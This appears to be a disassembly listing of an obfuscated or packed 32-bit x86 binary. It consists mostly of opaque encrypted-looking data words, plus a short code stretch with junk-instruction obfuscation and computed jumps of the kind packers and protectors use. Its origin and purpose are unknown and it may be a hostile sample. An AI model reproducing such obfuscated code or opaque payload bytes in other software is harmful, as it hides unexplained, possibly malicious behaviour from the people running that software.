7BF3BD78h dd 66A44D62h, 0B2F266A4h, 0EF4A3544h, 69E1553Bh, 0BD7834FFh dd 997D9BCDh, 4D2B8EF1h, 483A6CC7h, 9CDD30A0h, 9E3C6E41h dd 4D2DF66Eh, 2D6ADEB7h, 0B3CDB74Dh, 0AE088078h, 5ACD7224h dd 64D1EB28h, 0E6A95453h, 0D9E89DBEh, 6015ADFEh, 4CC05A26h dd 80643C3h, 38823C5h, 6AE9B156h, 0C9E1D8C3h, 0A4000005h dd 0B776946h, 0AFE3BDF2h, 744E5Dh, 0B3DFC1EEh, 3F6F514Eh dd 0FBA44DCFh, 0B1FADD85h, 6348A3CFh, 0B8F3157Dh, 7C0CF4CAh dd 428DE708h, 0D2BA0300h, 5754A748h, 8125A591h, 773EABE1h dd 0FEB3F80Fh, 1F06721Ah, 0B4F6BD72h, 95FFB4F6h, 754A3873h dd 39142E5h, 1252C6E5h, 0D37BFE53h, 5BC55303h, 19DAD127h dd 0B55E4DABh, 0B0203418h, 0E95B4F5Ch, 0DFBD7250h, 0F8C19B9Dh dd 0F36348A0h, 50FD67DFh, 0FDDBBD72h, 0BDC505AEh, 0B5EA078Bh dd 0E63CBEFCh, 0C0485766h, 1A2FB48h, 0D2C80000h, 5D79DD48h dd 0E867D179h, 89654494h, 950DED26h, 0DE6F466Dh, 0DA10BC5Ch dd 2BADFEDAh, 0A1B884DFh, 8330723Eh, 9F098195h, 0CDBD79D9h dd 339441D0h, 95FD8545h, 64763477h, 793FB228h, 0EAF797BDh dd 60D853EDh, 4C2C8DE8h, 76637BC7h, 3119FA36h, 347639D5h dd 80580C76h, 0FADEE62Bh, 8849567Bh, 60807832h, 0FE575913h dd 48DA606Fh, 0D642ED77h, 0F1BA52C2h, 9CF00AC0h, 0CD7BFA09h dd 0DDB84B93h, 1FC661A8h, 0BF376919h, 0EAF0BF4Fh, 0DC6DD3E9h dd 0D278A952h, 0D86A9909h, 1EB65CE0h, 9C1F2B9h, 20A1EFh dd 0D2720000h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h dd 1D8D56F4h, 48CA24EEh, 0C8B4h, 61776100h, 0A646CE4Ah dd 0F6DEF305h, 2F805E0Bh, 0AC4C3879h, 2AC717FFh, 608D2E39h dd 70D8F9FFh, 0E170E464h, 83584494h, 0D06A9C28h, 0B555A444h dd 4494E143h, 6C8B0739h, 6317893Fh, 4494EC38h, 0DFC1EA0Eh dd 32479737h, 0EC1ED3DCh, 49D31C1Eh, 465E7ADEh, 59E134D5h dd 0F0DC1335h, 880C70F4h, 0F654B842h, 0F23EA061h, 29C848B0h dd 79580C76h, 5DDEA526h, 406B7713h, 3EB49h, 47688200h dd 0DBD42959h, 4C5F7DE5h, 0DFD02E56h, 2F709101h, 73E95D51h dd 0C3AF118Eh, 69198724h, 0BBA71992h, 9A348E1Dh, 0F9E256F6h dd 0EDDA428Dh dd 0F5A77A0h, 88FAB0FFh, 47AFFCDCh, 8B1C6D17h, 6480AA46h dd 0DCD052A2h, 5CC6541Bh, 7893FB69h, 23D0DBFDh, 7B1721E7h dd 2FA54E5Dh, 0C5F0D2D9h, 9568096Fh, 6899FF44h, 48D2BB6Bh dd 0ED5D79DDh, 0BB6B687Bh, 0D090F51h, 8CE0D909h, 0D9BDB9Ch dd 0FE5216F5h, 667480B8h, 54B38026h, 0FD1078C1h, 0FFC901B2h dd 0BA5246D2h, 0BD72A14Eh, 1EE0C3Eh, 0BC4CCC67h, 0C747A019h dd 39AB1B0Fh, 1FB747A0h, 0A0E2E2C9h, 26A4616Ah, 0E3970FCh dd 32B7Bh, 7A84200h, 9B14E999h, 0C9F3D25h, 9F10EE96h, 0EFB05141h dd 0B3291D91h, 36F514Eh, 0A9D9C7E4h, 0FB675952h, 0DAF4CEDDh dd 0F9229636h, 2D1A428Dh, 4A6177E0h, 0F3937F89h, 4494E881h dd 5FB34577h, 2FC02289h, 3A1E1A15h, 94E82692h, 3F9E1644h dd 41874370h, 0DC67DFB7h, 0AA3EA1F6h, 0C503AC42h, 208700Ch dd 3515BD78h, 5108582Ch, 9F2F89F5h, 627242ADh, 408AE2CAh dd 0EFB342BAh, 43D748CAh, 0AC000000h, 327993FBh, 72BDC7A8h dd 8EFA9286h, 7E4494E8h, 0EEEAAE4Ch, 0E92A8166h, 9C830711h dd 6A3EA1BDh, 9B017B38h, 86BD783Ch, 5E1BF262h, 6177317Ah dd 7A1AEEFBh, 4AB24857h, 48CA24BBh, 0BEDFh, 93FBB400h dd 0CFDCFC79h, 3622D819h, 94E82296h, 52E81A44h, 0B94F26C2h dd 0D09C1F2h, 94E80B7Dh, 9BF0144h, 8A15BCC8h, 0E9D3B49h dd 0E019EFE5h, 94E8FC68h, 509ACC44h, 0E547FA72h, 23C54494h dd 8E6A1A88h, 213BF41Dh, 3F7A1206h, 0EDC15E22h, 6EF8C5BBh dd 0A1B353C3h, 57C74C88h, 628F1CEFh, 5EF662A8h, 0CEB62C73h dd 20EF7C23h, 0D570FFFEh, 1F2CFEAh, 5F7B0000h, 0EB027250h dd 56B6DEC4h, 0E7F76B55h, 47AADAC8h, 0C0366A58h, 88FAA54Ch dd 0D2B0FBDCh, 806249A2h, 0C9B7F414h, 97B0BF3h, 0FF428DFBh dd 5A77BB02h, 1EE94A5Fh, 6F39FFB3h, 24876111h, 320A5ABEh dd 0E6FFAC6Eh, 0D2646F89h, 5D79DD48h, 0E867D179h, 14B54494h dd 0D8098035h, 0AF497B07h, 0A121645Bh, 0F320623Eh, 798763D9h dd 13E07EBDh, 0CB9F14A3h, 0FB3A48h, 770B0000h, 0B956461h dd 6BF4FFDDh, 268392B7h, 5A903A4Ch, 0D9C62B99h, 0F9A418h dd 0BFD34494h, 9408DD47h, 5F79AB44h, 62D6D533h, 0E041CE42h dd 0D36546EBh, 0B2C3254Dh, 885F535Ch, 6571E523h, 947A73E5h dd 1174944h, 2A051FD0h, 0CFA2A2Eh, 0F99B321Eh, 0CC2F2AF3h dd 91DF9D18h, 94BE8FF9h, 7D4B7D44h, 8F940F7Bh, 40823EA1h dd 0D84CBCD8h, 0B0BD79CDh, 0A9366C6Eh, 24A4949Fh, 0C74D6231h dd 0F161D507h, 0FB6DDD10h, 0D1B74396h, 0FB67598Fh, 5AC717D6h dd 0BADAFEEFh, 0D2EE5A52h, 0ACDEB743h, 18746D5Eh, 56417100h dd 0CF63h, 733C9E00h, 2788650Dh, 7833C9B9h, 2B845A0Ah dd 7B24CDB5h, 27A59905h, 77EBD5CAh, 2D554B60h, 8F03DDCEh dd 7E503279h, 0FC86F29Ah, 7976428Dh, 455A774Ch, 0C523AB5Bh dd 28C054E6h, 0E8CF39D1h, 8BBD4494h, 9FB3633Dh, 94E8BD27h dd 0BF598B44h, 14617794h, 0BEFCB5FAh, 1BBDC70Ch, 839D3290h dd 9218B0A8h, 223EABE1h, 625259B2h, 17F3207Fh, 0D73F8101h dd 90EE4887h, 7583292Dh, 1B90685Ch, 5A1BBDA5h, 980C7C7Dh dd 70BD725Dh, 852E7C2Eh, 81156507h, 644BA3E6h, 0E5C625AFh dd 0D19AB82Ch, 7E4C5F79h, 92EAF767h, 174B3576h, 9B29EAC1h dd 0D6D53643h, 0E62BDD1Dh, 0F04811BDh, 452D9318h, 7536D2A3h dd 874C7E3Ch, 3F2h, 5940C300h, 874C6377h, 23D0DBFDh, 0A0515AB1h dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh dd 0B45D52ABh ; --------------------------------------------------------------------------- push edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov edx, 32992C17h inc edx push ecx mov ecx, 34802583h xor edx, ecx pop ecx push esp mov ecx, [esp] add esp, 4 push 281Eh mov [esp], edx pop dword ptr [ecx+8] mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_590A54 ; --------------------------------------------------------------------------- cmpsb inc ebx push cs ficom word ptr [edx+1BB88C68h] adc eax, 0C5030619h jmp eax ; --------------------------------------------------------------------------- dd 1424D1Dh, 3190D8A8h, 6F72918h, 60AA64E5h, 7AC0FA32h dd 79882DA2h, 6ADD31EEh, 44D50340h, 48DDF108h, 4174D687h dd 1CF64826h, 309DAA41h, 61ED589h, 33F282B6h, 9EE9h, 79175F00h dd 0F5CC474Fh, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h dd 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh dd 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh dd 0E09h, 7 dup(0) dd 0E9000000h, 10E1h, 1918C568h, 6ABEE906h, 9C68FFFAh dd 0E9061919h, 0FFFA6AB4h, 191A9168h, 6AAAE906h, 0CC68FFFAh dd 0E906191Bh, 0FFFA6AA0h, 191C4568h, 6A96E906h, 3168FFFAh dd 0E906191Dh, 0FFFA6A8Ch, 191DD768h, 6A82E906h, 9F68FFFAh dd 0E906191Eh, 0FFFA6A78h, 191F7168h, 6A6EE906h, 8D68FFFAh dd 0E9061920h, 0FFFA6A64h, 19213968h, 6A5AE906h, 0BE68FFFAh dd 0E9061922h, 0FFFA6A50h, 19249668h, 6A46E906h, 0A768FFFAh dd 0E9061925h, 0FFFA6A3Ch, 0DFFF57E3h, 0C5E569F9h, 0D9F951E3h dd 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh, 902305A5h dd 0A5381AB8h, 153A07A7h, 0B6CC66E0h, 48FA2F16h, 0FD4BE0C2h dd 0FC50E1F3h, 0FA4C6E6Dh, 3C840554h, 2685C71Ah, 14401E09h dd 7B8A5BD4h, 9E46900Ah, 92345910h, 0DF3E0F41h, 0C4E6C715h dd 0D64D1874h, 0DDBD5CFh, 6CF9DD6Ch, 932589E8h, 0D8112DB7h dd 0A1DC11AEh, 2A168F68h, 0AB2B5AEBh, 0E70A8B63h, 0ADA33457h dd 0C597DCCh, 0ABDAF948h, 0A8B642Fh, 0CD3F95F8h, 0CA16833Ch dd 764254F2h, 0C744CE17h, 0AC28D7A5h, 497F5Ah, 0C2E30000h dd 0F3FD4BE0h, 0C7E4A2C7h, 8E98B796h, 34058816h, 0BF123817h dd 2C5DBC8Dh, 0A8A88B2h, 33D21A7Bh, 0A8A88D3h, 0C392C20Fh dd 1322327Fh, 0FF693FDh, 8DAF4CC6h, 5AAD3ECFh, 0EF77h dd 0CD5F4800h, 0B4D13F73h, 0C215BF09h, 0B8004EE0h, 0AA094396h dd 0B4FE588Dh, 46C7109Dh, 5EEBEF7Eh, 0D26367F6h, 27725D7Ah dd 0A943E543h, 0B496559Fh, 588B2B21h, 109E24E3h, 7452FA4Bh dd 7251FB4Eh, 0FB17154Dh, 0C81616h, 681E4361h, 0F7466C4Bh dd 11F4935Dh, 0EA168F01h, 67F654E8h, 0FA548926h, 0C30A8AEDh dd 83832342h, 0A78B285Eh, 0E4253414h, 8B8EFFDCh, 0D4107557h dd 450882F3h, 4CD10475h, 55E3E784h, 862D6CFDh, 8D01C4Ch dd 0DFBEFEh, 0E9C98BDAh, 207AEBCCh, 0E9047514h, 0AB3A1CA4h dd 6DFC56E6h, 0E475D969h, 0B0A5C4A5h, 79F92B9Dh, 0DBC603AAh dd 8200000Dh, 9E842234h, 3E64420Ch, 604260EAh, 0FF2181CFh dd 1104A2B2h, 0F460ED1Eh, 0EE64F4D6h, 0F355EAD0h, 0F05CEDD3h dd 97C609D2h, 16B6CD3Bh, 0BDB18D04h, 0E4C6E470h, 7DDBFB51h dd 0E7BADDC2h, 2CD1AA62h, 355198A4h, 3E91B996h, 6FFF5B0Ah dd 45C8109Eh, 2E2F5E7Bh, 0FF168F53h, 0F3A410D8h, 95C2E961h dd 958392Dh, 8B581A78h, 0A415710Ah, 0AC49B878h, 0B8205Ah dd 0BD360000h, 0BF8B1D6Ch, 0FE4B8FDEh, 1760756h, 6E109DB1h dd 756FC4Ch, 0C91C3E86h, 0ACFD2383h, 4E9391A0h, 49BC9B38h dd 109DAFCDh, 25587796h, 109DAFA9h, 8CC91372h, 8EB57459h dd 0EAC84D16h, 0F4D3B3AEh, 75006D81h, 88276610h, 2A7E13A2h dd 3F614120h, 0ACEF62F2h, 0E579F912h, 0D040B46h, 0D590000h dd 0F7476949h, 0FF517757h, 0F6456B4Bh, 7567C5Ah, 0F13E6D4Dh dd 0A7074D9Ch, 0BF1F3381h, 0A4024699h, 81212B7Eh, 0EC6697B8h dd 0B516B6CDh, 70BD025Ch, 75E8C7E4h, 109DB519h, 3B19A3E2h dd 0A8A6381Ah, 0B19B2E20h, 0CF0D2D12h, 5BF57BF3h, 40624391h dd 0B0D160EEh, 6CBDAE28h, 4D7251E0h, 0B8D18C4Bh, 0C11D5094h dd 8A109E40h, 0EF456A0Bh, 620325C7h, 72C315DFh, 85D5FDDAh dd 0EFD1FFC9h, 7F5CED5Dh, 0F140085Bh, 0B3064890h, 361C3999h dd 7796A7A1h, 5576676Dh, 285D7A0Ch, 168FA489h, 0F5987B9Ah dd 0E1057294h, 0C918ABB6h, 4998BA8Bh, 0AC0B6A0Bh, 0F267BC39h dd 0C40A3518h, 0EBA35078h, 0D134B13Bh, 0F1644380h, 0CEDE595h dd 89B53F5Eh, 54892660h, 12DBFA27h, 70527194h, 67506FDDh dd 282217DEh, 3422AA2Ch, 0DC91BB0Eh, 7C5B01A5h, 0F2623CAh dd 4E00000Ch, 52785600h, 4A704E00h, 547654F6h, 4B6D4D03h dd 457856FEh, 203481EAh, 4210A082h, 5FE93E64h, 4408597Fh dd 3725D66h, 16B6CE87h, 0BD65D950h, 0DCC3E06Ch, 835F5BB5h dd 0A489889h, 0A602616Bh, 79ECCBBBh, 168F2990h, 0AB8F2C71h dd 3E92341Ch, 9A96C40Ch, 6598374Fh, 107C1338h, 0DC2D3C61h dd 478137Eh, 18292BBAh, 99A8A236h, 85700983h, 1339D23Ch dd 509BB445h, 42EDh, 0E5C25100h, 9DB51670h, 58FA4A10h dd 5ABB8809h, 4B3B2692h, 0FB24F96Ch, 0B8DD168Eh, 0A4A4371Bh dd 6579D706h, 20B10A8Ah, 17AC8E2Ch, 5F252031h, 600000Bh dd 8AFB8F24h, 0A8A6510h, 84D5B4D9h, 0C221BB05h, 6EFF4DE0h dd 5099A52Fh, 0A29F7270h, 3E5F4A7Bh, 0A599BEA1h, 7BD56684h dd 0AB246954h, 9E2CE03Ah, 564A910h, 1B3A4CBBh, 0D2331685h dd 0D7CCDF5h, 0D5F594C0h, 5BEA62F3h, 4D07567Ch, 0C688DAFCh dd 0C8211DA7h, 67EC21BEh, 44106C03h, 6DC0E2C1h, 1DEFFDFh dd 6C00128Ch, 65F7DB04h, 1A3C84E5h, 78B485C7h, 47B61571h dd 0A5CE00Ah, 103F3253h, 2173DCF7h, 0AD44F8Ah, 3D890000h dd 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah, 0A18EBD1Dh dd 7757FD4Ch, 6F4F0351h, 7452F649h, 7151FB4Eh, 9CF66768h dd 6516B6CFh, 1270122Ch, 53109DB5h, 4B70E06Fh, 0BD69819Fh dd 9B9721E3h, 0F2634046h, 1684DB95h, 9E842362h, 1F297E0Bh dd 12232BBBh, 0E3492F3h, 64C091BBh, 3BAA097Dh, 1075C952h dd 22327FA3h, 95C84D9Ah, 79F5DD20h, 5B93CE5Dh, 200000Ah dd 1E04A2B4h, 0BEE4C28Ch, 0E0C2E06Ah, 7FA1014Fh, 91842232h dd 74E06D9Eh, 6EE47456h, 73D56A50h, 70DC6D53h, 17468952h dd 16B6D0BBh, 0BD310D84h, 6D51E06Ch, 6F5370DCh, 0BDDC6DDDh dd 4192B433h, 0C71C3E0Fh, 84E56FBEh, 5BF022B5h, 7405856Ah dd 41E68848h, 3456AA3h, 87DF1920h, 6621783Dh, 83204F41h dd 531E239h, 0A3780000h, 756902BEh, 1DB2F6A7h, 0BEDFBE8Ah dd 417BEC21h, 0ED301685h, 0F359ECCEh, 0F45EEED4h, 0BE9C2465h dd 5D45499Ch, 54B584D0h, 853CA925h, 0FE4ADD0Ah, 0FC212E6Fh dd 0AB8FCC9Dh, 58A73119h, 0A853CFAh, 1F03C51Ch, 6CADBC8Ch dd 853CA1FDh, 4A2B6A0Ah, 58F4456Dh, 0DB6AE476h, 0B02532BAh dd 10762EC9h, 70EE351Ah, 42329826h, 7BEAED7Ah, 472931Fh dd 91C4A5E8h, 79F6AA2Eh, 6FB59057h, 0EE000009h, 0F2D8F660h dd 0EAD0EE60h, 0F4D6F456h, 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah dd 0E270C0E2h, 0FF49DEC4h, 0E468F9DFh, 0A3D2FDC6h, 16B6D227h dd 0BD85B9F0h, 0FD8F1D6Ch, 942F3AE9h, 1E2F4E7Dh, 8BCF9EFFh dd 3C43123Ah, 0A58A3DCEh, 0F37E5886h, 7DE5EFAFh, 0A341CBBFh dd 45627h, 12703B00h, 34109DB5h, 5D7A592Dh, 75769772h dd 3AAB976Dh, 109E6DE0h, 0BB0564A9h, 855C114Ch, 9C3B5A16h dd 892923B6h, 273616A7h, 9A6E009h, 0ADBC9021h, 533216A9h dd 30194C89h, 11107649h, 5D70D98Ch, 0E68579F6h, 8C9EBh dd 10469400h, 103E90B2h, 0E3C90B2h, 17398AB0h, 104491B7h dd 3FAC83B2h, 5E4462F2h, 42684CEh, 173999AFh, 1B2886C6h dd 0D245C134h, 9B0E16B6h, 1CDDC2A7h, 0A47AE421h, 6B0A4695h dd 6EDE6F61h, 0E26AFBDFh, 0AD1EAC53h, 41DEB17Fh, 3B919A3h dd 703D0000h, 109DB518h, 7453332Eh, 0B4A82253h, 2C71109Dh dd 0B5045E8Fh, 48CD109Dh, 0F2225380h, 971684A2h, 0D56520B3h dd 0C8A9E879h, 85226300h, 7D2E8F9Ah, 0FAC29814h, 48D5FADDh dd 91C2C040h, 2B7ED018h, 0E9F8121h, 5EA0378h, 22436387h dd 0BACC1513h, 621E321Dh, 4B3997FAh, 0A4215481h, 6D107542h dd 2C9FFB6Ah, 25680471h dd 43821144h, 24C379F5h, 80129h, 480E5C00h, 58F6486Ah dd 4604587Ah, 5FF14268h, 480C597Fh, 97F43B6Ah, 86AC0A4Ah dd 9CBE1C36h, 7FA10147h, 0B3C01E2Eh, 0D2DD39ACh, 73A616B6h dd 0E06CBDCFh, 1507251h, 1F830253h, 0D5F7C191h, 9179C884h dd 82CC5E44h, 873BD03Ah, 1CB81636h, 0A341EA5Ch, 72EC213Eh dd 3B109DC1h, 0C8B12DAh, 0AF000000h, 2DAC4h, 71C3E700h dd 70450FD9h, 109DB518h, 4090332Eh, 6E547312h, 78656FD9h dd 84A2D805h, 0F7497116h, 39830253h, 684A69ACh, 6F5877D5h dd 0A91D10EBh, 59836F88h, 1B1DBF95h, 3E64727Ah, 604261EBh dd 53B283D1h, 0DC6DDD6Fh, 78B433BDh, 99B61571h, 8B1675AEh dd 0CC148EC2h, 756DE03Dh, 0F164A910h, 79F56E6Ch, 2FF7D299h dd 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h dd 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh dd 6392BD86h, 16B6D3E7h, 0BDC579B0h, 0E4C3E06Ch, 9DB51571h dd 8C01DE10h, 109DB512h, 11DBBADBh, 6D527552h, 4DBA4352h dd 76D08166h, 3F109DECh, 71C416DEh, 6848ADBh, 1D6CBD75h dd 0E167FC8Bh, 0E4C1E180h, 1571E4C3h, 0DE109DECh, 0EC54CEBFh dd 3488109Dh, 79C64716h, 0F5F41F4Eh, 22436A87h, 0E6F65085h dd 5EBF109Dh, 0D80ECE96h, 7B6A341h, 8C000000h, 1D2C4h dd 0E0C26A00h, 4BBA0250h, 109DB4D0h, 2C8BFBE6h, 0BC9A240Bh dd 6A2E6872h, 84FF2362h, 0F5181685h, 0A84F9D6h, 0D30A8580h dd 0A2D2AB2h, 5DF9A725h, 0DF8AA10h, 2CEED57Fh, 3C1EA6CDh dd 1E04A3A9h, 0E76DFC89h, 7563756h, 3A203E86h, 0B794A5A7h dd 0CC46B798h, 950A8544h, 44850170h, 0CF4E0A85h, 10B0B905h dd 81A90657h, 8724457Bh, 7654FB56h, 0C41C410h, 79F6559Bh dd 13D8F5B4h, 4A000006h, 567C5AFCh, 466C4A04h, 587A58F2h dd 47694907h, 497C5AFAh, 1C3885E6h, 64C9CBEh, 1B2D82A8h dd 84495BBh, 4FBEA1AAh, 16B6D4D3h, 0BDD9859Ch, 6D51E06Ch dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0DFA341EAh, 0C1118D00h dd 0BBDA109Dh, 7EA31h, 0C4500000h, 0FBh, 0B517706Ah, 342D109Dh dd 0E9491F8Ch, 3B5A5A74h, 6C03B39Ch, 2A76D005h, 0DE3F109Eh dd 1C8DDF9h, 4F6B9AB7h, 5816856Bh, 1FB49635h, 90B29F29h dd 89AF0F3Dh, 0E7451438h, 3278402h, 9569EB6h, 766279D4h dd 8EC34210h, 79F66327h, 67607D2Ch, 0F6000005h, 0EAD0EE68h dd 0F2D8F658h, 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h dd 0BA98280Ah, 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B6D67Fh dd 0BD6DD148h, 57B3226Ch, 20109DB5h, 89CD9CFDh, 3D451438h dd 398C36D3h, 5917B313h, 3BA341EAh, 0B988C817h, 10099058h dd 2D000000h, 0B6D9DDC2h, 5CDA823Fh, 414994h, 0C2E50000h dd 6FFE4CE0h, 21B4A62Eh, 3AAB8C2Bh, 109DB4E0h, 92C79EA9h dd 0AC5BC3Dh, 0C002616Bh, 0DD8EDF6Dh, 0DB6E2495h, 51301AAEh dd 4EFC5072h, 8569EFFh, 0C0DD0027h, 3DC1A52Fh, 2CA8B3h dd 0BD060000h, 7251E06Ch, 0A43024Dh, 32A6395Ah, 80EBD6E3h dd 0BF4E96F7h, 109DC55Eh, 0CE3F203Fh, 109DC554h, 96F0F81Dh dd 70DC6D25h, 6CBDF852h, 50DFC3E0h, 8D03100h, 4587A59h dd 27427E46h, 0B4F26CA1h, 5ABB109Dh, 97BB9C3Bh, 0DA3B0A4Ah dd 0A37F7312h, 15781684h, 94B699B6h, 0FF5B0A40h, 300A849Eh dd 0AC36AAE6h, 0E4293613h, 0E567FADCh, 0F94FE4C6h, 0B19F2968h dd 4EB5AB94h, 329CF667h, 20650A84h, 53EF837Bh, 56F64789h dd 0C0A907h, 0F20950F7h, 1AB9D8AAh, 6B8864EBh, 0EF1E4110h dd 46B8573h, 8BFAD93Ch, 46B850Fh, 0F7D4B5D8h, 0F062F2D8h dd 80D17BCEh, 4495B701h, 3588AA08h, 0FFEA4617h, 49CCBBC1h dd 0F9981732h, 0CB6EABDAh, 56B70A5Bh, 0DBE37C23h, 0E3FEAD73h dd 3E2h, 4767EF7Bh, 5D7DD161h, 4161E97Bh, 2280D05Fh, 3A3B100h dd 5FEE1F10h, 65F3D5F5h, 58EBCDEDh, 5DF0D2F0h, 0DD02CFEFh dd 0B6D72EA8h, 0C0A2F716h, 1670E5C2h, 4A109DB5h, 0BF0857F9h dd 0ACDCC328h, 717B1AC8h, 607ECE5Fh, 0D465E77Ah, 5CED5FF2h dd 0F39F1CB6h, 70CCEA62h, 0A34172A0h, 2D08h, 0BEA32E00h dd 0A77AEBC8h, 60168EFBh, 27BC9E3Dh, 0F6528121h, 2E0A8A65h dd 2F11B19Bh, 280FAC9Ch, 0C0D4BD34h, 17D61E20h, 3553Ah dd 0BEA39800h, 537AEBC8h, 24168EAFh, 9B78D203h, 0DC410A8Ah dd 27365714h, 0ABBA9223h, 7741BA38h, 46B71472h, 107B94FFh dd 0C09D3D60h, 3504469Ah, 0B9B00CD4h, 8184DE0Fh, 0C84D0477h dd 81207AEBh, 0A4E90477h, 4E77E6C5h, 1F0A687Bh, 6751CD40h dd 0FB1AFE64h, 401174F1h, 53E2AFFEh, 0F49D283Bh, 4223F1A3h dd 0B3F8CCF3h, 0B0AD320h, 86AC0B6Ah, 4A045633h, 6AFB9AFBh dd 0E42A12Bh, 9AC067E4h, 81BD0749h, 4CC11E68h, 4553105h dd 0A1872766h, 0B89F3C10h, 4A6422A4h, 0A1408818h, 62400C9Dh dd 6C4B3B26h, 41ABBCF9h, 71C045FEh, 3DA68200h, 1CADD9F2h dd 0DE1420F0h, 4CE0C242h, 29AFF6FEh, 93000000h, 0EBC8BEA3h dd 0D3FF39C4h, 5E66B664h, 7E0D0C81h, 0BFDE168Fh, 6DFF5FAEh dd 0BC560A8Bh, 535F1D3Fh, 0A4075AACh, 5B000000h, 51E06CBDh dd 5774E06Dh, 4356D170h, 747C215Ah, 0BCF1D6F5h, 58774CA6h dd 0EA7B5D67h, 5EEFD362h, 269DD0EEh, 8E109DF9h, 53FD4E3Bh dd 1BAE9432h, 0DD042031h, 96F751E6h, 0C959C439h, 8302168Eh dd 88FEE323h, 3040BA2Bh, 0C4491075h, 0DE76C3E7h, 0C98BDA00h dd 0F935F194h, 825F0E79h, 20Ah, 6F4F0753h, 7555F949h, 69490153h dd 7A58F847h, 6B4B0958h, 4796F738h, 3D8BAD0Dh, 4093B515h dd 3588AA08h, 0A5AAB717h, 0B6D8D630h, 0D88A9F16h, 0C6E470BDh dd 0DCFB51E4h, 0B5108AFBh, 0B4D9109Dh, 0A3942E2Ch, 0CCEBC8BEh dd 6754ADE3h, 622B3DE9h, 69CBAE8Eh, 0F0446607h, 12F3925Ah dd 0E3168EBBh, 0E46293A2h, 200A8AAAh, 4E70C18Fh, 0FD0554FEh dd 0F94CF693h, 5FAB3253h, 1CF2C2EAh, 0E15A5AADh, 7D000000h dd 7E460255h, 226CBDE4h, 9DB557B3h, 0DEFD2010h, 9DB533AFh dd 0F899FC10h, 7CD86569h, 0B1279CEDh, 3E8F109Dh, 0AB8FB00Eh dd 0E223321Ah, 0E765F8DAh, 770F5A56h, 80B82558h, 0EED1168Eh dd 8A7F237Fh, 2A9EC0Ah, 0EAD5BA37h, 83E0E87Eh, 7D64A402h dd 5E3BAA09h, 27107474h, 4FE1C9E6h, 0A12B6AFBh, 153F8EB4h dd 2C3691B6h, 0BE9114E6h, 23072836h, 0EE1FBC94h, 4748574h dd 0BE10D83Dh, 0BC8E226Fh, 9E07A8DDh, 591079F8h, 0F97Ch dd 80D66400h, 0A0AE0022h, 0BE8C2002h, 0A7A93A20h, 0C0942107h dd 0F7CB3E2h, 0E3492C2h, 143694BEh, 72989BFh, 2B3896B6h dd 0DA55B124h, 0B1E16B6h, 0E470BD57h, 0FB51E4C6h, 814AF3DCh dd 1CF4F8C6h, 8126D2B8h, 6B753261h, 0FE6F506Dh, 109E5EA4h dd 36A0286Dh, 1B9EDDC2h, 0FDDE1766h, 389FD533h, 15DF75F7h dd 0E91C72C3h, 109DD06Dh, 0A7B6D736h, 0E47712A3h, 0D5B4D564h dd 10B0B9F5h, 2F4734D5h, 0D9F69793h, 851C1BA4h, 0CC9D0016h dd 0B515378Ah, 0F5474293h, 0B0973455h, 41BEF84Eh, 94539D6Bh dd 0E4B68E65h, 68E27653h, 0E965F5D9h, 17C27358h, 50E0763Eh dd 0FF693FFh, 0C1C033Ch, 0CEDBF407h, 0C686D7FBh, 4BF794FEh dd 4D7552FAh, 57854FFBh, 1AA9E071h, 0C9065736h, 514DBBDEh dd 6244DC8Eh, 5F717BCDh, 9BB180D0h, 972AD871h dd 0A23315B5h, 3BE9BAAh, 24000000h, 71BDE17Bh, 0DF7254E5h dd 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h dd 9B2D1120h, 2ABC9EAFh, 51221524h, 0C181E189h, 4, 4E981h dd 0C870000h, 0C895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h dd 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h dd 0B8505524h, 5E4C699Fh, 0D158C589h, 0A8F581EDh, 81421E54h dd 9114C9C5h, 4E5C11Bh, 8106EDC1h, 2B4A6AF5h, 5DEF8904h dd 241C8B54h, 4C481h, 45680000h, 89000057h, 2C81243Ch dd 4A5DF924h, 8438F45h, 0F9084381h, 8B454A5Dh, 8951241Ch dd 4C181E1h, 83000000h, 0C8704C1h, 34FF5C24h, 0C4815F24h dd 4, 0FA59F3E9h, 2884E3FFh, 0EC796D27h, 286C5D56h, 26C5B87Fh dd 0C5030619h, 1703E0FFh, 62254Fh, 322D15EBh, 4DED41CBh dd 886816ACh, 0A0D136AEh, 0F033B7Eh, 0E88A099Eh, 29BE4004h dd 388B257Ch, 679D5AB0h, 17E749E2h, 0D05E0E8Eh, 68FB0FE5h dd 43093210h, 0DA6E4977h, 2CEF6181h, 62C424D9h, 1A1F5B87h dd 0BC8A4D0Bh, 25B2403Ah, 0F18E5h, 0C8CE4BC6h, 9B787C30h dd 0DF7E0160h, 1F22E8Ah, 0AC632941h, 48635E7h, 8D8D66B0h dd 61928ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 